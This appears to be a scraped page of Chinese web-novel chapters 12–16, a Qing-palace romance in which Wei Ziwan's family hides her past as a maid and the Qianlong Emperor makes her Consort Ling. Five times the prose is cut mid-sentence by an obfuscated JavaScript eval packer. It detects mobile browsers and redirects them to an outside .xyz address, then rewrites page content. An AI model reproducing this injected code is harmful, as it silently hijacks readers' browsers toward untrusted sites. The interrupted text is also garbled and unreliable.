“姐,咱们去院子走走吧,姐,我跟你说,我种了好多花,都是你喜欢的!” 魏德馨挺着小胸膛带路,小嘴说个不停,说完花就说起刚才他们商量的事。 “好。”魏紫菀眸子动了动,这事她也考虑过。 她爹在还没分家之前是家中老大,所以这债务都是她爹承担下来,作为弟弟的二叔三叔家,虽没有分得家产,但是也没有债务傍身,加上他们家女儿年纪还小,所以魏家人只有原身进宫当了宫女。 这些年来,老二老三家虽然没对她爹说什么难听的话,可能是怕承担了债务的老大一家做出推人下水的事,但二叔三叔家用行动表示对他们家的看不起,小辈照旧往来,但期间少不得各种炫耀。 自家缩衣节食,二叔三叔家虽也缩衣节食,但一旦有什么好东西,必然来老大家亮相一回。 如今老大家被抬旗,而他们家还是包衣奴才,这对比不可谓不明显,这样一来,等他们领悟了原身进宫的缘由,她曾是宫女的事情就瞒不住了。 除非他们家抬旗的时候带上二叔三叔家,可凭什么,有一就有二,等她进宫当妃子了,二叔三叔家就不会拿这当把柄威胁她将堂妹送进宫吗。 仓廪实而知礼节,衣食足而知荣辱,二叔三叔家都过得不好,指望他们瞒着,不可能。 但是换位思考,将老二老三家解决了,那她进宫就是实打实的外八旗选秀出身了。 此时此刻,全家人除了幼弟,都一个想法,如何让老二老三家闭上嘴。 “德馨,姐姐饿了,去厨房拿点吃的给姐姐吧。” “好。”魏德馨兴冲冲道。 忽悠走了小弟,魏紫菀来到家人面前,提出了一个反其道而行之的方法,让她在二叔三叔心中当宫女的事情落实。 既然老二老三家都觉得她是进宫当宫女了,那爹娘就真的这么默认。 “可这样不就坏了你名声。”杨佳氏摇头,不同意。 “娘,我可没说是真的默认了,”魏紫菀笑道,“都说小孩儿说话百无禁忌,说的全是‘实话’,你们说小弟说我一直在家里待着,因身体弱从不曾出门,他们可能听听就算了,但未必不会记在心里,而只要他们起了怀疑,又一查,我根本没在宫中出现过,他们会觉得你们这么说是因为什么?” “别的不说,这进宫的宫女至少身体方面没问题,可我要是因为体弱一直留在家里,这气色、能不能生养都是问题,咱家是疼女儿的,他们想啊,这难保不是爹娘给出的借口,进宫当宫女总比女儿家因身子弱一直嫁不出去的名声好听。今年咱们家抬旗,可以给钱打点让我提早出宫,参加大选落选后,寻个非包衣旗的人家嫁了,他们一旦想到这里,那不得跟咱们反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358000|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着来,肯定说我一直养在家里面,反正就见不得咱们家好。” “不管他们信不信,他们要是想让我定亲不成,肯定会说我体弱,替我们将这处说法补上漏洞,这不是他们是否相信的道理,是我们能不能逼他们说出这番话的手段。” 魏紫菀说这些话也有根据,原身记忆中,原身成为宫中妃子后,这两家经常过来打秋风,如果不是皇帝只是看中原身作为替身的身份,对原身堂妹不感兴趣,两家人估计以亲戚名义非得塞几个妹妹进宫了。 而且早年原身身子确实不大好,也就是进宫两年生了场重病后,身体竟慢慢强壮起来了,适应了当宫女的环境。 加上三家人分家后,因债务之事,只在逢年过节时往来,二叔三叔对自己大侄女还真没多少了解,原身进宫后,家里人自觉这是件难受事,少有向外人提起原身时候。 “有道理,左右他们并没有在内务府当差过,想进宫都没门路。”杨佳氏眼睛一亮,一家人就这法子商讨更具体的细节,要知道,想瞒过别人,就得先瞒住自己。 杨佳氏说干就干,这会儿就去找二弟妹三弟妹商量‘接风洗尘’的事儿了,还带上了戏搭子小儿子。 “女儿,你说得没错,我们得快准狠,给咱家挑一个家世不错的‘女婿’,甭管有没有这‘女婿’,就是做给他们看的,少给他们想通这件事的功夫,他们有私心,自然只能顺着咱家的算计吐出咱家想听的话。” 魏清泰抓紧时机跟二弟三弟家商量给女儿‘相看人家’。 大哥二哥就去找堂弟们,嫂嫂们找堂妹和妯娌们,反正演戏演全套,不管这借口有多荒诞,总有人相信自己推测而来的结论。 魏紫菀则留在家里吃了一顿热乎乎的饭菜,一点都不怕等万岁爷册封的圣旨下来后,这两家人或许又有臆想了,那时她已经进宫了,事情尘埃落定,那会儿传出这些话就是在打万岁爷的脸。 况且她的来处被掩盖住了,没有实打实的证据,宫里人怎会张口就来。 只要保证她进宫时是汉军上三旗格格身份即可,万岁爷会帮她的。 12. 第 12 章 往后日子,有个主位傍身,只要她不犯下大错,平静且美满的日子等着她。 若是有幸有一个孩子,偶尔逗逗孩子玩,跟宫里的妃子打好交道,有孩子有姐妹,衣食住行均不缺,这辈子生活也就圆满了。 至于跟高贵妃斗?开玩笑,她哪有这种精力,养孩子可比宫斗有趣多了。 魏紫菀胃口大好,又清空了一碗饭,吃饱喝足后,她没闲着,遣人去了解京城商铺布局。 经过全家人齐心协力的操作,二叔三叔两人心急如焚。 见不得老大家太惨,但也见不得老大家得意。 眼看着老大家抬出包衣旗,等大选落选后,即将嫁女,就算没有落选,也会有万岁爷指定的好婚事,这双喜临门的好事,作为叔叔的本该高兴,但谁让他们心里憋屈。 二叔魏清宁连饭都吃不香了,二婶瞥他一眼,“你还是受着吧,谁也没想到有天恩降临,要是知道,我当初就不眼睁睁看着老大分家,将债都受了。” 作为一家子老大的魏清泰是挺有作为长子的责任心的,将父亲留下的烂摊子收拾,跟两个弟弟分家,可他这一分,万岁爷就只将老大视作父亲的接任者了,想起父亲的好,自然就只将老大一家抬旗了。 三叔魏玉保住心里也不是很爽利,要是当初跟大哥承担债务,他现在也是正经的上三旗旗人了,他的女儿能大选,儿子能娶外八旗格格,当真是可惜极了。 三婶拍着自己小女儿后背,“你说说你,当初说分家还真说得干脆利落,以后咱们的女儿怎么办,挂在大哥名下相看人家?” 魏玉保住思来想去,心里还是不舒服透了,“你以为大哥将女儿嫁给好人家就会帮衬咱家女儿?大哥这些年早就不似分家头两年跟我和二哥走动得勤了。” “那怎么办?” 魏玉保住咬咬牙,干脆一不做二不休,“大哥家好起来,自然忙着帮衬自家儿女,咱们就干脆说大侄女身体弱,这些年一直养在家里,大侄女婚事不成,大哥大儿子还在忙着考科举,二儿子一直跟在大哥身边办事,小儿子还没长成,这少一个儿女操心,大哥自然会帮衬他亲侄子亲侄女,咱们可是打断骨头还连着筋的兄弟。” 三婶看了眼自己的女儿,默许了这一操作。 也是怕大哥家真让女儿攀附上好人家,日子越过越好,当初她看过大侄女容貌,也算是清秀佳人,趁着这刚刚抬旗的功夫,大侄女进宫参加大选,万一通过初选,复选,到头来被万岁爷指给一户好人家,大哥家就真赚便宜了。 二叔三叔一合计,两家人都是这个心思,便不约而同向外宣称自己大哥家女儿身体羸弱,养在家中好些年了,身体弱到没法生养子嗣,有两家人的宣扬,好些有心打探魏清泰一家子的人都知道这家有个体弱的女儿。 外加死读书的大儿子,老实的二儿子,还没长成的三儿子。 原本还好奇万岁爷为什么给魏清泰抬旗的人,立马没了兴致,就这架势,能成什么好事。 就这样两个月过去了,期间杨佳氏铁青脸色找上二房三房家问责,两家人都坚决不认这事,杨佳氏气得胸膛起伏,“我就跟你们两家人说过这事,我女儿要是嫁不出去,我唯你们是问!” “大嫂,何必这么生气,咱们都是一家人,一家人何必见外,大侄女定亲不成,你就将你侄女当作亲生女儿也一样,都是咱们魏家的女儿嘛。” 二叔赶紧将自个儿女儿推出去。 三婶见此,也将女儿推到大嫂面前。 两家人的女儿在十岁左右,再过几年也是要相看人家的年纪了,杨佳氏低头看着两侄女。 心道若非这是计划之内,就两兄弟的嘴脸,她非得将事儿闹得人仰马翻,可女儿即将进宫,笼络两家人不闹事也是必要之事。 何况两家人都是女儿叔叔,倒不好格外生分,用他们想要的东西拿捏他们,就指东不敢往西了。 杨佳氏满脸生气又不忍对侄女发怒,二叔三叔见此,赶紧给了女儿一个眼神,两个女孩儿上道极了,揽着婶婶胳膊,“婶婶。” 杨佳氏叹了口气,揽着两个侄女,一副心软的模样。 直让两家人松了口气。 可实际上,老大一家就算有意帮扶他们家女儿,也绝不会让两个侄女升米恩斗米仇,像二弟三弟两人,才是将老大的宽容当作可以放肆的东西了。 …… 紫禁城,养心殿。 秋意渐浓,乾隆帝再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358001|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次出现在那颗桃树下,只是桃花早就凋零,叶子在青黑色中杂着一些灰黄色,深秋泛滥。 一大早的,叶上的露水如珍珠点缀,乾隆帝心情却不比前两个月那般糟糕,他甚至大有兴致想在刚收藏的古画上盖上几个新章以显他心情澎湃。 整整两个月过去了,他总算等来了紫菀即将进宫的日子。 他将紫菀曾经在宫里的一切动静都掩盖了,也让跟紫菀处得近的瓜尔佳氏和黄氏都自觉闭嘴,就只差紫菀进宫了。 皇帝负手在桃树下走了几个来回,突然有奴才禀话,“万岁爷,贵妃娘娘命人将宫女林氏、柏氏和索绰络氏都送去内务府了。” 皇帝听闻毫无波澜,“贵妃打消这等心思也算好事。” 这些日子以来,皇帝不曾动过林氏、柏氏和索绰络氏,这比起高贵妃起初在宫里精挑细选的索绰络氏、宁氏和张氏更为不堪,万岁爷甚至连宠幸她们三人的心思都无。 也是,九五至尊怎会任由一个女人摆布。 高贵妃意识到此计不行,不得不打消推出替身的想法。 也正是因为高贵妃的坚持不懈,皇帝还似过往关心她身体,只是对她的感情,竟不知不觉淡去几分纯粹。 一次两次的坚持还能说是担心帝王在她死后伤心过度,一而再再而三,就只能说高贵妃私心重,只想让帝王永远忘不掉她,死后用一个个活着的人操控皇帝。 皇帝为何最宠贵妃,是因为她的容貌和才情,还是因为她有个可靠的父亲,还是青梅竹马的感情。 这些是,却也不是。 潜邸时长得美丽的女子不少,福晋有才情和家世,金氏身上独有的异域风情,苏氏、黄氏和陈氏有一种汉女特有的软糯婉转,噶哈里富察氏和辉发那拉氏是满洲女儿,行事落落大方,珂里叶特氏虽显木讷,可言听计从,从不惹事生非。 说贵妃于他有哪里不同吗,皇帝似乎也说不出有特殊的地方。 可在潜邸时,还不是万人之上的皇帝前,贵妃待他的真心,是独一份的。 也因此,在察觉到贵妃对他心意不纯粹时,皇帝看似犹豫,实则已经慢慢抽身离开了。 皇帝对她的纵容并非她操控皇帝的底气。 13. 第 13 章 咸福宫,高贵妃脸上失了几分从容不迫。 有来人禀告:“娘娘,奴才不见万岁爷有片刻欢喜。” 高贵妃心烦意乱,“本宫知道了,退下吧。” 这三个月来什么事都没办成,万岁爷对她关切一如既往,但她莫名心里空落落的,仿佛自己做错了什么,可她不明白。 当年阿玛发妻陈氏在临终前特地将表妹马氏提做填房,马氏就是她亲生额娘,在临终前也照旧将表妹祁氏,也就是她现在名义上的额娘提做继妻。 阿玛现在所有的孩子都是她嫡亲额娘所出,共三女一子,祁氏不得不对她们姐弟四人上心,祁氏看似吃亏,可也得到了这辈子本没法得到的一品诰命夫人身份。 阿玛高兴,祁氏不吃亏,她们姐弟四人有了名义上的额娘,一举三得! 她不过是效仿了三位额娘的做法,阿玛能理解,万岁爷为何不能理解她。 高贵妃长长叹了一声,即便心里死不悔改,但面上,她已再无尝试找替身的心思了,万岁爷的皇宠于她而言,最为重要,倘若弄替身将万岁爷对她的感情弄没了,那才是得不偿失。 “喜嬷嬷,宣太医过来吧。” “是,娘娘。”喜嬷嬷心里一喜,高兴娘娘总算在意自己身子了。 要她说,娘娘只要养好身子了,那什么替身、影子连伺候娘娘的资格都没有。 看出喜嬷嬷的欢喜,高贵妃心里又叹了一声。 她身子一年不如一年,若是往后日子只能见她年老色衰,她还不如趁还年轻时早早了断,省得宫里人见她笑话,可如今计划不顺利,她这副身子就只能硬挺着了。 秋水轻声道:“娘娘,老爷已经在寻杏林圣手了,还望娘娘再等等,多撑一日是一日,倘若娘娘身子养好了,子嗣缘也就来了。” “本宫知道了。”但愿如此吧,高贵妃对自己这副破身子已经不抱希望了。 …… 九月时,魏紫菀坐着驴车进宫。 她现在是汉军正黄旗格格,年龄十七,正好卡在秀女年龄的上限,有资格参加此次大选。 一切时机安排的刚刚好,万岁爷这几个月心思一直落在她身上,甚至能为了她抬旗后入宫理由更合理,特地将大选之日推迟好几个月,让她能正儿八经以上三旗贵女身份进宫。 这是她胜过万岁爷大多数潜邸旧人的一点,即便现在高高在上的高贵妃,在潜邸当妾室时也是包衣出身,只是万岁爷登基之后立马将高家抬旗,抬进满洲镶黄旗,这才少有人想起高贵妃起初是包衣奴才身份。 跟原身既定的命运不同,也跟众多潜邸旧人不同,这一次,她的起点不会是由包衣宫女受万岁爷宠幸而封常在的身份,而是初封就是主位。 宫里总讲究一步快步步快,但在潜邸旧人已经占领了大部分主位的前提下,再谈及一步步升级,那就太慢了,还随时面临被主位娘娘们打压的局面,比如怡嫔柏氏,所以魏紫菀不跟她们讲道理了,直接将进度拉满,入宫就为主位! 毕竟宫里是讲究占领先机,但更讲究出身地位。 魏紫菀被安置在一处宫室,只她一人,特殊待遇,可见是万岁爷早早吩咐下去的,她松了一口气,就她这副容貌,选秀期间还是低调些好,省得让潜邸旧人注意到。 这次大选,宫妃们仍旧以为是一次不起眼的选秀,像往年那样,来不了多少新人。 乾隆三年时,二阿哥永琏病逝,帝后伤心欲绝,万岁爷没有选新人进宫。 乾隆六年时,宫中出现两个非潜邸旧人的高位,一个是大选出身的舒嫔叶赫那拉氏,另一个是地方官员送进宫的民间美人怡嫔,怡嫔连小选都没资格参加,而舒嫔大选进宫后,是大家子出身,但在潜邸旧人面前永远是低调行事,三年过去了,没怀上一儿半女,在潜邸旧人们心里确实构不成威胁。 这次选秀是乾隆九年的大选,根据往年经验,宫妃们认定这次选秀是出不了什么幺蛾子了,据她们打听,今年大选,甚至都没有出现像舒嫔那样的贵女,那就更构不成威胁了。 长春宫,皇后素手轻握潮州扇,潮州扇乃潮州贡品,以竹为扇骨,以丝绢为扇面,扇面上绘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358002|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着清池莲花,愈发衬得皇后娘娘清冷高洁,她轻轻扇着风,翻开剧本看这月即将上演的戏剧。 同众多宫妃一样,她也是不甚在意此次大选,宫中四妃之位即将满,只余下一个妃位,但无论是有家世傍身的舒嫔,还是有子嗣傍身的愉嫔,都有一争之力。 大选秀女就算真出现一个深得万岁爷宠爱的女子,最高也就做到嫔位。 当然,这还是得在万岁爷对其不失宠爱的前提下,万岁爷最喜欢妇人颜色,少女明丽动人,却少了几分韵味,因此等万岁爷新鲜感一过,新人还不是任由高位们拿捏,想当上嫔位,很难。 “今年别出现麻烦的新人就好。”皇后随口一说,又想起高贵妃,“贵妃身子如何?” “娘娘,贵妃将那三个宫女送回内务府后,有太医过去诊脉,高家私下到处寻觅杏林圣手。” “高氏总算看重自己身子了?”皇后翻着剧本的手停住了,面上和煦,眼底不见笑意,这可不是个好消息。 “娘娘,奴才听说怡嫔想接走自己妹妹。” “随她。”皇后不在意这后宫的水有多浑,从圣上即位伊始,潜邸旧人们就牢牢霸占主位。 可纯妃又蠢又胆小,嘉妃审时度势,娴妃不问世事,愉嫔眼里只有儿子,陈贵人无家世无子嗣傍身,低调行事。 不是皇后对眼下稳定的局势有多不喜,而是水清则无鱼,潜邸旧人们都太精明了,太稳了,不闹起来,怎能在后宫掀起风浪。 而恰好,怡嫔不死心,就由她闹了,给贵妃添点麻烦也是好事。 “索绰络氏和林氏也找门道去主位娘娘身边伺候了。” “找的是谁?” “本来是三位妃娘娘,但三位妃娘娘都不愿。” “那找的就是愉嫔和舒嫔了?” “非也,娘娘,两位嫔娘娘也不愿。” 皇后愣了一下,笑了,“那这会儿,可得让她们自己想着法子往上爬了。” 她心情不错,原本投靠贵妃的三人被贵妃抛弃,等上位后,这矛头得齐齐对准贵妃了。 14. 第 14 章 高府,高斌神色焦急,来回踱步,“夫人,岳父当真找到了这位名医?” 祁夫人点头,“不会有错的,阿玛不会骗我。” “好好好。等我去一探一二,保准能养好大姐儿身子。”说罢就急匆匆出府了。 “老爷慢些。” 祁夫人摸了下肚子,掩下眼底的深思。 嫁给老爷十多年,她至今未怀一儿半女,正好让名医给她看看身子,无论是宫寒还是身热,都得将办法解决了,老爷年岁不轻了,六十一岁,再不怀,以后连房事都不成了。 哪怕祁夫人对这桩婚事无数个满意,也有些难说的遗憾,她名义上的儿女都是先夫人所出,她没个一儿半女傍身,等老爷一去,以后得看高恒脸色行事。 还不如自己生个孩子,无论是儿是女,这老来得子,老爷总会高兴,高兴之下必定忧虑自己岁数大了,没法庇护幼子,她再吹吹枕头风,老爷必然将她的孩子看得比高恒重要。 …… 复选过后,秀女们都留宫察看。 魏紫菀独得一人待遇,倒悠闲了一整个月,但面上是能对付过去的,选秀之事,只得皇上和皇太后插手,连皇后都不得过多询问。 毕竟在乾隆七年时,便有规定道,皇太后、皇后的亲侄女、外甥女以及姐妹不得进宫选秀,在后宫,皇后仍是中宫之主,管着后宫诸事,但在选秀之事上,这名义上虽为后宫之事,可这方方面面跟皇家子嗣延绵,前朝后宫平衡息息相关,又怎会真由皇后管着。 在高贵妃努力调养身子,皇后不动声色挑动后宫局势,柏氏在亲姐怡嫔身边当宫女,索绰络氏和林氏仗着家族势力从内务府出来,暂时在太妃们身边伺候时,谁也没想到,此次大选之后,后宫形势会悄无声息发生变化。 十月时,皇上突然下旨册封汉军正黄旗人氏,外八旗佐领魏清泰之女魏紫菀为魏妃。 随后命工部尚书哈达哈为正使、内阁学士伍龄安为副使,在魏紫菀正式成为宫妃那日册封为令妃,列四妃之首。 这无疑在宫里掀起惊涛骇浪。 万岁爷突然册封大选秀女为妃,不是从大选秀女最常见的贵人位开始,而是初封就是妃位了。 还压在了众多潜邸旧人面前,只比高贵妃位份低,要知道纯妃和嘉妃都为万岁爷生下过阿哥,这且不论,万岁爷居然让令妃压在了娴妃之上,娴妃也是万岁爷潜邸侧妃,这怎叫一个不可思议。 但是再不可思议,这都是事实。 当天,好多妃子都变了脸色,急忙查起这令妃到底是何人,查来查去也只得知令妃赶巧在大选前全家抬旗,摇身一变为大选秀女,让万岁爷一见倾心,情不自禁封了妃位。 这是前所未有的,在从前,宫中能初封为妃的,也只有贵妃高氏和娴妃乌拉那拉氏,这两人还是万岁爷潜邸侧妃,有资历有身份,可这大选秀女怎么就被封妃了。 比魏氏家世更盛的舒嫔叶赫那拉氏也不见有此殊遇,舒嫔初封也只是贵人,从没让万岁爷破过规矩,可这令妃,是头一回。 这牢牢打破了众人心中潜邸旧人身份最贵重的印象。 所有高位在一瞬间起了极其浓重的防范心思。 不光如此,令妃在初封为妃位后,立马被万岁爷安置在储秀宫,今后就是储秀宫的主位娘娘! 宫妃们前去长春宫一看,皇后娘娘也是满眼惊异,可见这事没经过皇后娘娘过手,是万岁爷钦定的。 这到底是何方女子才让万岁爷情不自禁。 嘉妃忍不住道:“娘娘,您可听说过令妃?”令妃凭空降下成为她们四妃之首,传出去她们三妃的脸面还用要? 皇后摇头,脸色肃重,哪怕她盼着后宫的水浑了,也不意味她盼着这样极受万岁爷重视的女子进宫,这意味着,后宫的浪掀起时,连她都招架不住了。 嘉妃喃喃自语,“这般受宠,贵妃娘娘……” 她似是无意瞥向那柄空着的交椅,贵妃没有过来,可见深受打击,当万岁爷有了更宠爱的女子时,日渐失皇宠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358003|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高贵妃又当如何。 她嘴角禁不住勾起,又压下,她有了儿子,万岁爷又认定只有嫡子继承皇位,她在争宠之事上没多大执念,只要养大儿子就好,但乐得见贵妃落魄。 就是不知那令妃是何等性情的女子,就怕是第二个高贵妃,到时也是个祸害。 咸福宫,在得知万岁爷将一个大选秀女封做令妃时,凭空一道惊雷响彻云霄,高贵妃彻底坐不住了,猛地起身,又险些被自己过猛的动作摔倒。 她受不了这个刺激,眼前一片黑暗,还是掐了自己一块肉才勉强清醒。 “怎么会这样?” 高贵妃这下是真的满心哀戚了,她这三个月来,万岁爷对她的身子不似从前般处处提心吊胆了,这还来了个令妃,她查过这令妃的家世不显,既然家世不显,那必然是人长得格外勾魂摄魄。 她本就年岁不如从前,身子羸弱,万岁爷最近都不找她侍寝了。 以色事人者,色衰而爱驰。 高贵妃一把摘下护甲,小心翼翼抚摸着脸。 这半生,她到底做了什么。 以为自己最早入了万岁爷心,就能盛过福晋,以为自己被先帝册封为侧福晋,就能压下娴妃第一侧福晋的风光,以为自己是万岁爷唯一的贵妃,最宠爱的妃子,以为自己能找到视作傀儡的替身,哪怕在黄泉之下,也能仗着替身让万岁爷一辈子对她念念不忘。 以为……以为……以为…… 都是自以为是。 结果她始终不比福晋的身份地位,霸占了万岁爷的恩宠,却不曾生下一儿半女,不顾脸面满宫苑寻找替身,始终没有如愿,眼下,她就要没命了,她的恩宠还不比从前了。 甚至,万岁爷已经想好了她走后,会有令妃接替她的恩宠! 这让她怎么接受,她宁可死,也不愿看到这种结局。 “本宫此身绝不——认输!” 从心底迸发出的狠劲让她扶着椅柄的手突出根根青筋,脸色发白,但眼神犀利如鹰隼。 15. 第 15 章 夜晚,随着銮铃响起,皇车停在储秀宫前,乾隆走下去,望着笑盈盈在宫门前迎接他的令妃。 两人似是从不曾分开过,一见面,待魏紫菀请过安后,皇帝将她抱在怀里,望着比过往娇媚数倍的心爱之人,恨不得百般疼宠。 李玉赶紧将其他奴才遣散,别耽搁万岁爷和娘娘的好事。 魏紫菀被他抱得透不气,好不容易推开他,又见他声音低沉道:“如何,紫菀,朕让你顺心如意了吧,你也该让朕顺心如意了。” “万岁爷,别着急。”魏紫菀笑盈盈将他拉到正殿内,来来回回将他看了一遍。 乾隆挑眉,“是在看朕是否合你心意?” 魏紫菀煞有其事摇头,“才不是,妾身只是想起从跟万岁爷相遇起,只有万岁爷好好看过妾身了,妾身还没仔细看过万岁爷。” 她摸着皇帝侧脸,“这下,妾身可得牢牢实实将万岁爷的英姿记在心里了。” 皇帝抓住她小手,低声笑道:“朕还真得庆幸皇考和皇额娘给了朕一副好容貌,不然如何让爱妃倾心。” 魏紫菀记得她初见帝王时,正是在长春宫内,对皇帝的观感便是龙章凤质皎如玉树的一个男子,她不敢抬头细看皇帝,看不出他深渊如墨的一双眸子透着何等情绪。 可现在摸着皇帝侧脸,望着皇帝那双眸子,看出了些微愉悦和温柔,她竟有种皇帝颇为平易近人的感觉。 将这种感觉挥散走,魏紫菀自诩自己说调戏话不比皇帝差,嫣然一笑,“那妾身更得庆幸妾身爹娘给了妾身一副好容貌,不然如何让万岁爷一见起意,为妾身假扮圆寿公公。” 这世间所有的一见钟情都离不开合眼缘,换而言之,见色起意。 这没什么不好的,对对方心动,正好说明对方的容貌和身段符合自己审美观,往后能不能倾心,只看两人性情是否契合。 魏紫菀觉得自己是凡人,是凡人就逃不了对人容貌的喜爱,正好皇帝长得符合她心意,不然即便梦见原身经历,对上长得寒碜的皇帝,她得挣扎许久了,好在万岁爷脸蛋英俊,身材高大,不用她犹豫。 魏紫菀几乎是感叹般道:“不过万岁爷确实英俊潇洒,妾身看到万岁爷第一眼,就觉得好看极了,还为圆寿公公惋惜过。”怎么就净身了。 又提及他那段后来回想起来都有些荒谬的过往。 乾隆无奈,但是不假借圆寿身份,他反而不能触及佳人芳心了。 皇帝并不觉得那段经历难堪,况且万万人之上的君主,哪怕是假扮太监,在旁人眼中也只是一种情趣,又不是真成了太监。 他眉头一挑,颇为在意道:“原来你看中了圆寿长相,若是那日接近你的是真的圆寿,你心里可还有朕?” 魏紫菀目瞪口呆,这男人是在吃什么醋!圆寿和乾隆不都是他。 她颇为实诚道:“可圆寿就是万岁爷啊,万岁爷好看,妾身忍不住接近有什么错,万岁爷不也一样见色起意,何况我只是将圆寿当作朋友!” 乾隆忽视了她后半句话,只听前半句就禁不住的雀跃欢喜,“朕待你也是如此,不过朕待你多了份真心。” 魏紫菀郑重其事抱着他,“妾身的真心比万岁爷更多。” 乾隆颇为动容,眼神泛着几分涟漪,“作为回报,朕多多疼宠你。” 好直截了当,这就是坐拥佳丽三千的皇帝的觉悟吗。 魏紫菀满目震惊,皇帝看在眼里,笑意更深,轻声道:“放心,朕会很温柔的。” 魏紫菀瞥了他一眼,“不信。” 乾隆头冒青筋,这小姑娘怎么总是质疑他,男人能被质疑这个吗? 他将人横抱在怀里,魏紫菀眨了眨眼,若不是此时不合时宜,她估计得撑起脸看皇帝怎么调情了。 有一说一,她虽没经历过这种事,但没吃过猪肉还没见过猪跑吗。 怀揣着这个想法的魏紫菀结果到第二天一早差点起不了,感觉自己浑身上下酸透了,心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358004|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腹诽不已! 但抬头一看,帝王正满目温柔看着她,她假意温柔款款道:“万岁爷,妾身伺候您更衣吧。” “不必,你累了一晚,该歇着了。”不知是不是魏紫菀的错觉,她总觉得皇上看她的眼神带着几分戏谑,仿佛在说,你就这样? 魏紫菀一时间焉巴了,有些不服输道:“万岁爷可别小看妾身,改天等妾身练好身子了。”谁征服谁还不一定。 乾隆饶有兴致扫了一眼她全身,为她这股嘴硬的精神好笑不已,“朕从未小看过你,是朕舍不得你累。” 确实是不舍得,不然他昨晚不会轻易叫水,也是怜惜她是头一回。 他将女人揽进怀里,“你啊,朕让你好好歇着,你就听朕的话,这后宫宫务由皇后、贵妃打点,你就专心在储秀宫养着身子,伺候好朕。” 魏紫菀乖乖点头,“万岁爷,要是妾身闲着无聊,可去寻其他姐姐?” 乾隆好笑,“你想去就去,朕又不拘着你,你欢喜,朕就欢喜。” “当真?” “朕一言九鼎。” “万岁爷真好。” 乾隆抚摸着她发丝,很多心里话都藏在心里了。 他从看到紫菀的第一眼开始就意识到这是皇宫里养不出的花儿,他想将这朵花儿养在身边,必然要尽心尽力浇灌,给他所能给的最好的一切。 这是由他手把手浇灌的花儿,自是跟其他宫妃不一般,他只欢喜在紫菀这里见到对他与众不同的一面,不将他当皇帝,只将他当做心爱之人,哪怕只是说说话,不谈男女之事,也让他欢喜了。 往后,只盼着紫菀别有一丝一毫的变化,他心甘情愿将一切风雨挡在储秀宫之外。 “不过,”魏紫菀狡黠一笑,“万岁爷,今日妾身还得请安,等请安过后还得仔仔细细打理储秀宫事务,怎能闲下来。” “朕还是小瞧了爱妃。”乾隆无奈摇头。 下回他可不会轻易放过她了。 16. 第 16 章 送走皇帝后,魏紫菀叫来两个宫女,是内务府新派来的青柳和绿萍,两人不苟言笑,却是有心想讨好自己的主子。 一人拿出内务府新送来的蝶恋花收腰素白旗装,一人打开匣子,展出里面的蝴蝶流苏簪、银镀金嵌宝蝴蝶簪、银镀金东升纹簪和梅花步摇簪,这四支簪子都是万岁爷所赐。 “娘娘想用哪支?”绿萍殷切道。 魏紫菀随手挑起银镀金东升纹簪,这四支发簪,就数这银镀金东升纹簪朴素,不比其他簪子外露,但也是用了真金白银,金边勾勒,通体宛如琉璃般通透。 头一天请安,不必太高调,但也没必要锋芒尽收。 “就这支吧。” “是,娘娘。”绿萍小心谨慎为她梳妆打扮。 